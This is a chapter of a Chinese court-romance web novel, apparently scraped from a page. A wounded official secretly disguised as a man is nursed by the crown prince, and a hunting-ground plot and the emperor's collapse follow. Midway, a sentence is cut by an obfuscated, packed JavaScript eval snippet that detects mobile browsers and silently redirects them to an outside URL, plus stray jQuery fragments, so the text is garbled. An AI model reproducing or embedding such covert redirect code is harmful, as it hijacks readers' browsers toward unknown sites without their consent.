沈明再次醒来时,已是第二日的午后。
还未从昏沉中睁开眼,便感到喉间仿佛被粗砂磨过,呼吸间都扯着疼,她用力启唇,只发出几不可闻的气声:“水……”
有人过来,轻柔地扶起她的上半身,在背后垫了软枕。怕碰到她的伤口,大手小心托住她的后颈,一勺温水递上唇间,温水缓缓淌进口中,滋润了灼痛的喉咙。
嗓子松快了些,人也恢复了清明,沈明缓缓睁开眼睛,便看到了正端着瓷碗关切地看着自己的太子:“还要再喝些吗?”
见沈明没有拒绝,李琮便继续小心地喂她,直到半碗水饮完,沈明才微微偏过头,李琮会意地将瓷碗放在一旁宝平端着的托盘上。
沈明有些迷糊,怎么是太子在这里喂自己喝水,她试了试,发现嗓子能发出声音了,便低声问:“殿下为何在此?”
李琮先是拿手帕擦了擦沈明嘴角的水渍,他方才喂得生疏,水不小心洒出来了。
接着才随口说道:“这是孤的寝宫,孤不在这儿要在哪。”
“?”
接收到她惊疑的目光,李琮提醒:“你忘了,昨日我们直接回的这里。”
昨日兵荒马乱,她痛得几乎晕过去,哪能注意到太子把她带到了哪儿。
不过,昨日太医为她拔箭医治后,太子怎么没把她送回到她自己房间去?
“那殿下……?”而且,她占了太子的床,太子是在哪里休息的?
李琮看她刚一醒来眼睛就转个不停:“孤当然也是在这里,不然谁照顾你。”
“……”
“好了,你现在感觉如何?自己还觉得发热吗?”李琮问出最重要的事。
沈明右手轻轻掀开被子,看向自己已经包扎好的左臂,整条手臂已经肿了一圈,又胀又沉,钝痛钻心,伤口周围像是被火烤着,稍微一用力就牵扯着皮肉疼。
沈明跟太子一说,太子便转头吩咐宝平:“去唤太医来。”
宝平应声而去。
屋内一点儿都不冷,沈明就让被子直接晾着了,方便太医来了察看。
她的右手刚放下,却被李琮紧紧握住,他的语气中满是担忧:“昨夜你忽然发起烧来,多亏太医开的退烧药,后半夜才退了烧。”
沈明没有来得及疑惑太子为何突然握住她的手,她全部的注意力都在太子说出的话上:太医昨夜给她开退烧药了?
开这种药肯定要把脉的吧?太医是否有看出她的异常?
沈明紧紧盯着李琮的表情,想从那张向来不动声色的脸上看出端倪。
可怎么看,都只有关心,没有怀疑。
太医没有看出来?她迟疑地想,毕竟太医先入为主,应该也很难想到她是女扮男装。
正好此时太医进来了,他对刚刚松开的两只手视而不见,行礼后说:“正好沈大人也该换药了,我先检查一下伤处,为大人换药,大人忍着些。”
想到昨日拔箭时的剧痛,沈明身体下意识地先颤了起来。
李琮坐到沈明身后,右手再次紧紧握住沈明的右手,左手盖住了他的眼睛:“不要看,不要怕。”
纱布一层层揭开,直到最后几层,血痂和纱布粘在一起,太医一边用温盐水软化纱布,一边轻轻用力,直到纱布完全揭下。
太医再用蘸了温盐水的干净纱布轻轻擦拭伤口周围,待清理干净后,只见伤处明显没有化脓溃烂,也无异味,便欣喜道:“幸好没有化脓,接下来好生静养就可以了。”
最后,太医敷上清凉的生肌膏药,重新裹上了纱布。
沈明又经历了一场切肤之痛,虽然相比昨日好了很多,但还是几乎耗光了她此时所有的力气,出了一身虚汗,只剩下心口突突地跳,顾不上礼仪,只能无力地靠在太子胸前。
太医适时开口:“臣再为沈大人把一下脉吧,看接下来如何用药。”
沈明心中一惊,还未来得及说什么,李琮就拿起她的右手递了过去。
沈明:“……”
沈明心里担心,但也没有往回缩手。太子说她昨日就发热了,很有可能还没好,她的性命更重要,若是真的被发现了,她再随机应变。
太医在两人的紧盯下镇定地把完了脉,沉吟片刻,说:“烧退的差不多了,以防万一待会儿再喝上一副,另外……”他抬头看太子。
沈明提起心。
“沈大人这次失血过多,以致现在气血亏损,身体虚弱,这段时间要喝些养身的药,等伤好的差不多了也要吃些补品多补补。”太医确实没往那方面想,只以为沈明的脉相比男子如此细弱是此次受伤的缘故。
太子颔首:“孤知道了,多谢太医。”
太医:“臣不敢当。”
宝平把太医送了出去,笑着和他说:“这次方太医救了沈大人,足见医术精湛,殿下已经跟陛下说过了,以后方太医就专门负责东宫。”
方太医苦笑着行礼谢恩,看来他的保证不足以让太子信任,这下可真不知是福是祸了。
太医刚走,沈明就挣扎着想坐起身:“臣失仪了。”
李琮力道轻但不容反抗地把他按了回来:“受了伤就别乱动了,这几日太医不让沐浴换衣服,以免碰到伤口,你又不喜别人贴身伺候,先忍几日。”他以为沈明是觉得现在衣衫不整,想要换衣服。
这是衣服的事吗?沈明更加无力了,她知道太子手腕强硬,庇护手下的人,也喜欢照顾人,只是自己身为臣子,竟让他亲手这样照顾,这也太奇怪了,沈明深感别扭。
衣服她倒是松了一口气,刚醒来时她就悄悄确认过,自己的里衣和中衣都没有被换下,太子竟还了解她不喜人贴身伺候。
沈明只好明说:“臣靠着软垫就行,不劳烦殿下了。”
李琮也没有勉强,轻轻扶着她靠在软垫上,又坐回原来的位置看着沈明。
被他这样直直盯着,沈明更别扭了,怎么她一觉醒来,太子就跟变了个人似的,以前太子有这么黏人吗?
而李琮看着如今沈明好好地坐在自己面前,只觉失而复得。昨夜一遍遍用湿帕子为高烧不止的沈明擦拭额头时,他就在想,他绝对不能失去这个人。
以往横亘在两人之间的种种顾虑、身份阻隔、前路凶险,还有那些他反复思量不敢越界的分寸,与眼前这个活生生的、能够与自己说笑的人比起来,全都不值一提。
只要这个人能好好活着,只要这个人还在自己身边。
他甚至想在此刻将沈明用力抱在怀中,告诉他,自己的心意也同
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344226|196226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他一样。
但李琮逼自己克制住了,他不想自己像个毛头小子一样,莽撞地冲上去,只知索取。
他要像沈明一样,在平日中表现出他的心意。这样,等沈明察觉到他们心意相通,一定会非常高兴。
眼看太子的神色越来越不明,直勾勾地看着她,沈明只好没话找话,关心正事:“昨日的事情查清楚了吗?”
李琮回过神,听清沈明说的话后,便沉下了脸:“猎场负责官员已经招了,他确实收了钱,帮着放了口子让野兽进来,但还未查到幕后之人。还有放箭之人,金吾卫也没有抓到。”
沈明也跟着皱起了眉头:“那岂不是一点儿线索都没有。”
“也不能说一点儿没有。”谢逸听说沈明醒了,就赶紧过来,正好听到他们的话:“你猜这次哪个队伍得了头名?”
“?”沈明瞪谢逸,这可不好猜,往年几个卫所各有胜负。
谢逸不再卖关子,直接说:“李瑾的。”
“怎么可能?”沈明满脸的不可思议,李瑾和他那些侍卫的水平众所周知,魁首轮着谁也轮不到他们吧。
谢逸耸了耸肩:“据他自己说,是他们的运气好,你们还记得咱们刚进去的时候外面都没猎物吧?那是因为猎物都跑到李瑾那个方向去了,所以他们不费吹灰之力就猎了最多的猎物。”
李琮先前就听说了这事,所以面上没什么反应,沈明震惊到失语,李瑾是把别人都当傻子吗?
“你把朕当傻子吗?”永熙帝用力拍了一下桌子,再指着跪在面前的李瑾厉声问。
李瑾不服气地梗着脖子:“儿臣不明白父皇的意思,难道儿臣就不能既做得好又运气好吗?还是说,父皇心中对儿臣存了偏见,觉得只有太子才能做到父皇的期望?”
“你、你——”永熙帝气得手颤抖着:“你能有太子一半的聪慧,也不至于办下这等蠢事来!”
李瑾听到永熙帝又在说自己比不上太子,也意气上头失去了理智:“太子,太子,反正在父皇心中,所有儿子加起来都比不上一个太子,既然如此,当初又何必还要生下我们!”
“你这逆子!你——”永熙帝正要让人把这大逆不道的儿子拖下去,却突然神色痛苦地捂着胸口,人也无力地往下滑去。
张顺魂飞魄散地冲过去接住永熙帝,大声朝门外喊:“快宣太医!”
一时间整个宫殿乱作一团,一群人手忙脚乱抬着永熙帝朝后殿走去,李瑾失魂落魄地瘫倒在那里,不知该如何是好。
宝平慌张地冲进门,快速说:“陛下被二皇子气晕了,正宣太医。”
李琮马上站起身,沈明也说:“殿下和谢兄快去看看,太医都带走,我已无事。”
李琮先让沈明安心:“放心,我会让太医过来定期给你换药诊脉。”
望着几人离去的背影,沈明若有所思,二皇子看来要出事了,此事会是个机会吗?
永熙帝只是一时急火攻心,很快就醒了过来,他醒来后当即吩咐下去,让所有人收拾东西,次日一早回宫。
回去路上,沈明就一直在太子吩咐特意收拾好的马车上半躺着,几乎没感觉到什么颠簸。
进城后,拒绝了她回家养伤的要求,马车直接将她拉回了东宫。